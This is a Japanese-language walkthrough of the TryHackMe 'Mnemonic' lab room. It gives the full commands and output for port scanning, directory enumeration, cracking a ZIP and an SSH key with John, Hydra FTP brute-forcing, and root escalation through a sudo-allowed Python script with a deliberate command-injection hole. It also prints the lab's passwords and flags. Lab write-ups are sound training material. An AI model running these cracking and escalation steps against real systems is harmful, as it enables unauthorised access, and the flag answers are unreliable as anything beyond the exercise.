【TryHackMe】Mnemonic：Walkthrough

# 概要

TryHackMe「Mnemonic」のWalkthroughです。

https://tryhackme.com/r/room/mnemonic

# Task2

## **Q1**.*How many open ports?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.224.98 -oN nmap_result
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/webmasters/*
|_http-title: Site doesn't have a title (text/html).
1337/tcp  open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e0:42:c0:a5:7d:42:6f:00:22:f8:c7:54:aa:35:b9:dc (RSA)
|   256 23:eb:a9:9b:45:26:9c:a2:13:ab:c1:ce:07:2b:98:e0 (ECDSA)
|_  256 35:8f:cb:e2:0d:11:2c:0b:63:f2:bc:a0:34:f3:dc:49 (ED25519)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.3|
|80|http|Apache httpd 2.4.29|
|1337|ssh|OpenSSH 7.6p1|

**A**.**3**

## **Q2**.*what is the ssh port number?*

ポートスキャンの結果から`1337`でSSHが動作していると分かりました。

**A**.**1337**

## **Q3**.*what is the name of the secret file?*

`/robots.txt`から`/webmasters/`パスを得られました。

```/robots.txt
User-agent: *
Allow: / 
Disallow: /webmasters/*
```

`/webmasters/`配下のディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.224.98/webmasters
[11:00:43] 301 -  323B  - /webmasters/admin  ->  http://10.10.224.98/webmasters/admin/
[11:00:45] 200 -  437B  - /webmasters/admin/admin.html
[11:00:45] 200 -  138B  - /webmasters/admin/login.html
[11:01:02] 301 -  325B  - /webmasters/backups  ->  http://10.10.224.98/webmasters/backups/
```

`/webmasters/admin/`,`/webmasters/backups`を発見しました。
`/webmasters/backups`配下をされに列挙します。

```
$ dirsearch -u http://10.10.224.98/webmasters/backups
[11:03:40] 200 -  409B  - /webmasters/backups/backups.zip
```

`backups.zip`を発見できました。

**A**.**backups.zip**

# Task3

## **Q1**.*ftp user name?*

`/webmasters/backups/backups.zip`をダウンロードします。

```
$ wget http://10.10.224.98/webmasters/backups/backups.zip
```

解凍を試みるとパスワードが必要になりました。
`JohnTheRipper`でパスワードをクラックします。

```
$ zip2john backups.zip > backups_hash
$ john backups_hash --wordlist=/usr/share/wordlists/rockyou.txt
00385007         (backups.zip/backups/note.txt)
```

パスワードが判明したのでZIPファイルを解凍すると`note.txt`を得られました。

```
$ unzip backups.zip
Archive:  backups.zip
[backups.zip] backups/note.txt password: 
  inflating: backups/note.txt
```

`note.txt`からFTPのユーザー名がわかりました。

```backups/note.txt
@vill

James new ftp username: ftpuser
we have to work hard
```

**A**.**ftpuser**

## **Q2**.*ftp password?*

FTPユーザー名が分かったのでパスワードをHydraで解析します。

```
$ hydra -f -l ftpuser -P /usr/share/wordlists/rockyou.txt 10.10.224.98 ftp -t 40
[21][ftp] host: 10.10.224.98   login: ftpuser   password: love4ever
```

パスワードが判明しました。

**A**.**love4ever**

## **Q3**.*What is the ssh username?*

FTP接続します。

```
$ ftp 10.10.224.98 
Connected to 10.10.224.98.
220 (vsFTPd 3.0.3)
Name (10.10.224.98:kali): ftpuser
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

ディレクトリが多いので総当たりで中を見ていきます。

```
ftp> ls -la
229 Entering Extended Passive Mode (|||10083|)
150 Here comes the directory listing.
drwx------   12 1003     1003         4096 Jul 14  2020 .
drwx------   12 1003     1003         4096 Jul 14  2020 ..
lrwxrwxrwx    1 1003     1003            9 Jul 14  2020 .bash_history -> /dev/null
-rw-r--r--    1 1003     1003          220 Jul 13  2020 .bash_logout
-rw-r--r--    1 1003     1003         3771 Jul 13  2020 .bashrc
-rw-r--r--    1 1003     1003          807 Jul 13  2020 .profile
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-1
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-10
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-2
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-3
drwxr-xr-x    4 0        0            4096 Jul 14  2020 data-4
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-5
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-6
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-7
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-8
drwxr-xr-x    2 0        0            4096 Jul 13  2020 data-9
226 Directory send OK.
```

`data-4`ディレクトリでファイルを発見しました。

```
ftp> ls data-4
229 Entering Extended Passive Mode (|||10001|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 14  2020 3
drwxr-xr-x    2 0        0            4096 Jul 14  2020 4
-rwxr-xr-x    1 1001     1001         1766 Jul 13  2020 id_rsa
-rwxr-xr-x    1 1000     1000           31 Jul 13  2020 not.txt
```

ファイルをダウンロードし`not.txt`や`note.txt`からSSHのユーザー名を予測できました。

```not.txt
james change ftp user password
```

**A**.**james**

## **Q4**.*What is the ssh password?*

`id_rsa`を見ると暗号化されているのが分かります。

```
$ cat id_rsa        
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,01762A15A5B935E96A1CF34704C79AC3

pSxCqzRmFf4dcfdkVay0+fN88/GXwl3LXOS1WQrRV26wqXTE1+EaL5LrRtET8mPM
dkScGB/cHICB0cPvn3WU8ptdYCk78w9X9wHpPBa6VLk1eRi7MANLcfRWxQ4GFwXp
```

`JohnTheRipper`で解析します。

```
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
bluelove         (id_rsa)
```

パスワードがわかりました。

**A**.**bluelove**

## **Q5**.*What is the condor password?*

**Hint**.*mnemonic encryption "image based"*

SSH接続します。

```
$ ssh -i id_rsa james@10.10.224.98 -p 1337
james@mnemonic:~$
```

`/home/james/6450.txt`からは何かのリストを得られました。

```/home/james/6450.txt
5140656
354528
842004
1617534
465318
1617534
509634
1152216
753372
265896
265896
15355494
24617538
3567438
15355494
```

`/home/condor`へアクセスするとエラーが出て、`base64`でエンコードされた文字列が出力されました。

```
ls: cannot access '../condor/'\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\''': Permission denied
ls: cannot access '../condor/aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==': Permission denied
total 0
d????????? ? ? ? ?            ? 'aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw=='
d????????? ? ? ? ?            ? ''\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\'''
```

一つ目の文字列をデコードするとリンクがわかりました。

```
$ echo -n "aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==" | base64 -d
https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg
```

リンクにアクセスすると画像を得られました。

![maxresdefault.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4e0c9acd-b2cc-2f10-5b43-c37048d742a9.jpeg)

`6450.txt`を使ってニーモニック暗号を解読します。
ツールは下記のレポジトリを使用しました。

https://github.com/MustafaTanguner/Mnemonic/tree/master

実行時にエラーが出たので、`Mnemonic/Mnemonic.py`の最初の方に下記コードを追記します。

```
sys.set_int_max_str_digits(10000)
```

実行し、パスフレーズを得られました。

```
$ python Mnemonic.py

Access Code image file Path:/home/kali/Mnemonic/maxresdefault.jpg
File exists and is readable

(1) ENCRYPT (2) DECRYPT                                                                                              

>>>>2
ENCRYPT Message to file Path'

Please enter the file Path:/home/kali/Mnemonic/6450.txt

pasificbell1981
```

**A**.**pasificbell1981**

# Task4

## **Q1**.*user.txt*

`/home/condor`配下の文字列を`bse64`でデコードしてフラグを入手できます。

```
$ echo -n "VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ==" | base64 -d
THM{a5f82a00e2feee3465249b855be71c01}
```

**A**.**THM{a5f82a00e2feee3465249b855be71c01}**

## **Q2**.*root.txt*

**Hint**.*THM{MD5}*

`sudo -l`で確認します。

```
$ sudo -l
[sudo] password for condor: 
Matching Defaults entries for condor on mnemonic:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User condor may run the following commands on mnemonic:
    (ALL : ALL) /usr/bin/python3 /bin/examplecode.py
```

`/bin/examplecode.py`を発見したので処理を確認します。

```/bin/examplecode.py
#!/usr/bin/python3
import os
import time
import sys
def text(): #text print 


        print("""

        ------------information systems script beta--------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ---------------------------------------------------
        ----------------@author villwocki------------------""")
        time.sleep(2)
        print("\nRunning...")
        time.sleep(2)
        os.system(command="clear")
        main()


def main():
        info()
        while True:
                select = int(input("\nSelect:"))

                if select == 1:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip a")
                        print("Main Menü press '0' ")
                        print(x)

                if select == 2:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ifconfig")
                        print(x)

                if select == 3:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="ip route show")
                        print(x)

                if select == 4:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="cat /etc/os-release")
                        print(x)

                if select == 0: 
                        time.sleep(1)
                        ex = str(input("are you sure you want to quit ? yes : "))

                        if ex == ".":
                                print(os.system(input("\nRunning....")))
                        if ex == "yes " or "y":
                                sys.exit()
                      

                if select == 5:                     #root
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(2)
                        print(".......")
                        time.sleep(2)
                        print("System rebooting....")
                        time.sleep(2)
                        x = os.system(command="shutdown now")
                        print(x)

                if select == 6:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="date")
                        print(x)




                if select == 7:
                        time.sleep(1)
                        print("\nRunning")
                        time.sleep(1)
                        x = os.system(command="rm -r /tmp/*")
                        print(x)

                      
              


       


            

def info():                         #info print function
        print("""

        #Network Connections   [1]

        #Show İfconfig         [2]

        #Show ip route         [3]

        #Show Os-release       [4]

        #Root Shell Spawn      [5]           

        #Print date            [6]

        #Exit                  [0]

        """)

def run(): # run function 
        text()

run()
```

`0`を選択肢`.`を入力した際に、root権限で任意のコマンドを実行できるようになっています。

```/bin/examplecode.py
if select == 0: 
    time.sleep(1)
    ex = str(input("are you sure you want to quit ? yes : "))
    
    if ex == ".":
            print(os.system(input("\nRunning....")))
    if ex == "yes " or "y":
            sys.exit()
```

権限昇格をします。

```
Select:0
are you sure you want to quit ? yes : .

Running..../bin/bash
root@mnemonic:/etc# whoami
root
```

`/root/root.txt`からフラグを入手できます。

```/root/root.txt
THM{congratulationsyoumadeithashme}
```

ヒントからフラグの中身をMD5でハッシュ化してクリアです。

**A**.**THM{2a4825f50b0c16636984b448669b0586}**